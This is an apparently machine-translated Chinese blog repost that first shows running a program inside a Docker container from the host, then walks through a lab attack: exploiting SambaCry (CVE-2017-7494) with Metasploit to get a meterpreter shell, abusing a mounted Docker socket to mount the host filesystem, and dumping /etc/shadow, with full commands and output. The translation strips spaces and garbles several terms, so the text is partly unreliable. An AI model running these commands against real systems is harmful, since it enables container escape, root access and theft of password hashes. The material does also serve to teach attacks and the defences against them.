在宿主机上执行docker容器内部的shell或程序方式

在宿主机上执行docker容器内部的shell或程序方式,第1张

宿主机上执行docker容器内部的shell或程序方式

本文主要介绍了在主机上执行docker容器内的shell或程序的方法,具有很好的参考价值。希望对大家有帮助。来和边肖一起看看吧。

为了避免docker容器中的重复 *** 作,容器中的一系列指令可以由主机来 *** 作。

在主机(作者的主机是windows7)上执行centos容器(名为centos-1)中/usr目录下的“printer”可执行程序,这个程序的输出是打印“123”。

c:\Users\Administrator>;dockerexec-itcentos-1/bin/bash-c"CDusr&;&。/打印机"123

成功。

其他知识:使用Docker容器的不安全部署来获取主机权限

前言

有很多方法可以滥用容器并逃脱。本文将讨论最基本的一种,即滥用dockersocket对容器进行转义,在主机上以root身份执行代码。

实验环境设置

由于我们将使用容器,您必须安装docker。

创建网络

首先,我们在创建容器的地方创建一个docker网络:

docker网络创建项目

启动易受攻击容器

在这个例子中,我将使用受SambaCry漏洞(CVE-2017-7494)影响的容器。有关此漏洞的更多信息,请参考opsxcq/exploit-CVE-2017-7494。

此漏洞允许您在Samba服务器中远程执行代码。我们在集装箱上增加了docker插座。这里有一个滥用docker的例子。

dockerrun--rm-it\ --namevulnerable\ --networkpwnage\ -v'/var/run/docker.sock:/var/run/docker.sock'\ vulnerables/cve-2017-7494

启动攻击机

设置好实验室环境后,接下来我们需要将攻击者的主机添加到网络中。SambaCryrepository中有一个漏洞利用代码,但这里我将使用Metasploit,因为这样更容易上传我需要的内容。

我为此构建了一个映像,只需运行bellow命令,一切都会根据实验环境的需要运行:

dockerrun--rm-it\ --networkpwnage\ -v'/usr/bin/docker:/docker:ro'\ strm/metasploit

加载后,你会看到如下界面。

攻击利用

信息收集

在任何攻击或测试中,信息收集都是必不可少的环节。因此,让我们ping易受攻击的容器来检查当前的连接。

平-c2易受攻击

如果一切正常,您应该能够看到下面的输出消息。

msf5>ping-c2vulnerable [*]exec:ping-c2vulnerable PINGvulnerable(172.20.0.2)56(84)bytesofdata. 64bytesfromvulnerable.pwnage(172.20.0.2):icmp_seq=1ttl=64time=0.120ms 64bytesfromvulnerable.pwnage(172.20.0.2):icmp_seq=2ttl=64time=0.097ms ---vulnerablepingstatistics--- 2packetstransmitted,2received,0%packetloss,time1009ms rttmin/avg/max/mdev=0.097/0.108/0.120/0.015ms

然后,我们进行基本的smb共享枚举:

useauxiliary/scanner/smb/smb_enumshares setrhostsvulnerable run

输出结果如下:

msf5>useauxiliary/scanner/smb/smb_enumshares msf5auxiliary(scanner/smb/smb_enumshares)>setrhostsvulnerable rhosts=>vulnerable msf5auxiliary(scanner/smb/smb_enumshares)>run [+]172.20.0.2:139-data-(DS)Data [+]172.20.0.2:139-IPC$-(I)IPCService(Cryingsamba) [*]vulnerable:-Scanned1of1hosts(100%complete) [*]Auxiliarymoduleexecutioncompleted

如您所见,在这个samba服务器中有一个名为data的共享。

获取外壳

下一步是对主机运行漏洞利用程序来获取外壳。在Metasploit中,该漏洞被命名为is_known_pipename,位于exploit/Linux/samba/is_known_pipename中。

运行以下命令攻击主机:

useexploit/linux/samba/is_known_pipename setRHOSTvulnerable setRPORT445 setpayloadlinux/x64/meterpreter/bind_tcp setTARGET3 setSMB_FOLDERdata setSMBUsersambacry setSMBPassnosambanocry exploit

如果一切顺利,你将获得一个meterpreter外壳。如下所示:

msf5>useexploit/linux/samba/is_known_pipename msf5exploit(linux/samba/is_known_pipename)>setRHOSTvulnerable RHOST=>vulnerable msf5exploit(linux/samba/is_known_pipename)>setRPORT445 RPORT=>445 msf5exploit(linux/samba/is_known_pipename)>setpayloadlinux/x64/meterpreter/bind_tcp payload=>linux/x64/meterpreter/bind_tcp msf5exploit(linux/samba/is_known_pipename)>setTARGET3 TARGET=>3 msf5exploit(linux/samba/is_known_pipename)>setSMB_FOLDERdata SMB_FOLDER=>data msf5exploit(linux/samba/is_known_pipename)>setSMBUsersambacry SMBUser=>sambacry msf5exploit(linux/samba/is_known_pipename)>setSMBPassnosambanocry SMBPass=>nosambanocry msf5exploit(linux/samba/is_known_pipename)>exploit [*]vulnerable:445-Usinglocation\\vulnerable\data\forthepath [*]vulnerable:445-Retrievingtheremotepathoftheshare'data' [*]vulnerable:445-Share'data'hasserver-sidepath'/data [*]vulnerable:445-Uploadedpayloadto\\vulnerable\data\shyyEPPk.so [*]vulnerable:445-Loadingthepayloadfromserver-sidepath/data/shyyEPPk.sousing\\PIPE\/data/shyyEPPk.so... [-]vulnerable:445->>FailedtoloadSTATUS_OBJECT_NAME_NOT_FOUND [*]vulnerable:445-Loadingthepayloadfromserver-sidepath/data/shyyEPPk.sousing/data/shyyEPPk.so... [-]vulnerable:445->>FailedtoloadSTATUS_OBJECT_NAME_NOT_FOUND [*]StartedbindTCPhandleragainstvulnerable:4444 [*]Sendingstage(816260bytes)tovulnerable meterpreter>

举起右手

我们将通过滥用容器中可用的docker套接字来提高权限。Docker在主机上以root身份运行,因此它也拥有root权限。我们可以滥用它来执行许多 *** 作。例如,使用privileged选项可以为我们提供许多扩展功能。以下是从docker官方文档中摘录的说明文字:

默认情况下,Docker的容器是无特权的,比如你不能在容器中启动另一个容器。这是因为默认情况下,容器不能访问任何其他设备。但是使用“特权”,容器可以访问任何其他设备。当 *** 作员执行dockerrun—privileged时,docker将可以访问主机的所有设备,Docker还会在apparmor或selinux中进行一些设置,这样容器就可以轻松访问那些在容器外运行的设备。

您可以使用—device选项来访问设备。但是在这个例子中,我将把toor文件系统(/)映射到容器中并访问它。

由于这个容器中没有docker客户机,下一步是在目标容器中设置docker客户机及其依赖项。您只需要运行下面的命令来完成所有这些 *** 作。

upload/docker/docker upload/usr/lib/x86_64-linux-gnu/libltdl.so.7/usr/lib/x86_64-linux-gnu/libltdl.so.7 chmod777/docker chmod+x/docker meterpreter>upload/docker/docker [*]uploading:/docker->/docker [*]Uploaded-1.00Bof36.36MiB(0.0%):/docker->/docker [*]Uploaded-1.00Bof36.36MiB(0.0%):/docker->/docker [*]Uploaded-1.00Bof36.36MiB(0.0%):/docker->/docker [*]Uploaded-1.00Bof36.36MiB(0.0%):/docker->/docker [*]Uploaded-1.00Bof36.36MiB(0.0%):/docker->/docker [*]uploaded:/docker->/docker meterpreter>upload/usr/lib/x86_64-linux-gnu/libltdl.so.7/usr/lib/x86_64-linux-gnu/libltdl.so.7 [*]uploading:/usr/lib/x86_64-linux-gnu/libltdl.so.7->/usr/lib/x86_64-linux-gnu/libltdl.so.7 [*]Uploaded-1.00Bof38.47KiB(-0.0%):/usr/lib/x86_64-linux-gnu/libltdl.so.7->/usr/lib/x86_64-linux-gnu/libltdl.so.7 [*]uploaded:/usr/lib/x86_64-linux-gnu/libltdl.so.7->/usr/lib/x86_64-linux-gnu/libltdl.so.7 meterpreter>chmod777/docker meterpreter>chmod+x/docker meterpreter>

现在,我们可以使用docker来访问主机上的文件系统。\

execute-f/docker-I-H-c-a"run-RM-v'/:/rootfs'debian:9.2cat/rootfs/etc/shadow"

让我们转储本地用户的散列,输出如下:

meterpreter>execute-f/docker-i-H-c-a"run--rm-v'/:/rootfs'debian:9.2cat/rootfs/etc/shadow" Process113created. Channel13created. root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7::: daemon:*:17488:0:99999:7::: bin:*:17488:0:99999:7::: sys:*:17488:0:99999:7::: sync:*:17488:0:99999:7::: games:*:17488:0:99999:7::: man:*:17488:0:99999:7::: lp:*:17488:0:99999:7::: mail:*:17488:0:99999:7::: news:*:17488:0:99999:7:::

以上在主机上docker容器内部执行shell或程序的方式,就是边肖共享的全部内容。希望给大家一个参考,支持我们。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/774140.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-03
下一篇 2022-05-03

发表评论

登录后才能评论

评论列表(0条)

保存